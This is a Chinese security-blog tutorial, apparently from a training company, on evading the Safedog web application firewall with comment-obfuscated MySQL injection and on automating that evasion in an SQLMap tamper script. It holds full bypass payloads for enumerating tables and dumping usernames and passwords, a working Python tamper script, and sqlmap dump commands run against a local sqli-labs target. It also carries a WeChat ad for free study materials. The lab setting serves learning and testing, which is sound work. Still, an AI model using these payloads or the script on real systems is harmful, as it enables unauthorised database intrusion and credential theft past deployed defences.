freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

教你编写SQLMap的Tamper脚本过狗
蚁景科技 2023-02-22 16:45:36 249594
所属地 湖南省

测试环境

最新版某狗

image-20221116225837107

image-20221116225753420

image-20221116235259034

测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆

一招鲜吃遍天下

注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%

这里再解释一下内联注释,因为后面要用到:

MySQL内联注释: /*!xxxxxxx*/!后面的语句会当作SQL语句直接执行

但是如果!后面跟着MySQL版本号,那么就会出现两种情况

1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行

2. 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

image-20221116233353075

!后面接小于50553的:

image-20221116233608795

执行了select 1;

!后面接大于等于50553的:

image-20221116233711130

执行了 select ;

下面进入正题

bypass

and

and 1=1

image-20221116235316437

但是把空格删掉就不拦了

image-20221116235339830

所以,我们认为,and后面不能直接跟空格...

那么如果用其他形式表示空格呢?

前面说了,我们这次只使用注释混淆:

burp,抓包设置

image-20221117224958857

image-20221117225247624

长度5335是被拦截的

image-20221117225433936

长度为899的说明成功绕过

image-20221117225644883

我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*

即:->/*/*%**/

同理 ,or是一样的:

image-20221117225932271

order by

image-20221117230226839

测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:

image-20221117230449378

union select

image-20221117230705430

union select使用之前的垃圾字符替换空格发现不行了:

image-20221117230827969

但是先不急于换方法,再爆破一遍试试:

image-20221117231524071

image-20221117231535419

发现又有很多可以绕过的了。

所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/

即:->/*/!%!/*/

image-20221117231738553

获得当前数据库

正常语句:

?id=-1 union select 1,database(),3 --+

image-20221117233954379

绕过:

image-20221117234140343

即:()->(/*/!%!/*/)

获取数据库中的表

正常语句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image-20221117234536391

绕过:

经过测试发现拦截的是select + from + information_schema的组合

image-20221118000051636

image-20221118002146272

中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。

information_schema进行混淆测试:

首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。

image-20221123200819404

考虑是检测了select + from + /*! + information_schema的组合

加个换行试试

image-20221123203050692

还是不行...

那既然都换行了,那我们再在换行前加一些垃圾字符:

如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/#--+

但是经过测试只有 --+好用

image-20221123205925460

有这么多可以绕过的,我们随便选择一个,比如/*%/

这样,最终语句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

image-20221123210146367

image-20221123210211058

获取表字段

正常语句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

绕过语句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

image-20221123210849454

获取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

image-20221123211716244

成功。

编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:

image-20221123231851559

网上有很多相关脚本的介绍,我就不一一介绍了。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。

我们随便打开一个Tamper脚本看一下它的结构:

#apostrophemask.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST

# 对当前脚本的介绍
def dependencies():
pass

'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""

return payload.replace('\'', "%EF%BC%87") if payload else payload

可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。

下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:

实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好

#!/usr/bin/env python

import re

from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
if payload:
payload = payload.replace(" ","/*/!%!/*/")
payload = payload.replace("()","(/*/!%!/*/)")
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        

return payload

测试:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

image-20221124125849229

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

image-20221124135830104

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

image-20221124135950875

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

image-20221124140241774

更多网安技能的在线实操练习,请点击这里>>


# SqlMap # waf绕过 # 安全狗绕过 # 脚本
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
sql注入相关
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 908 文章数
  • 678 关注者
MIPS栈溢出漏洞实战解析:从DVRF题目看ROP链构造
2025-04-22
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
文章目录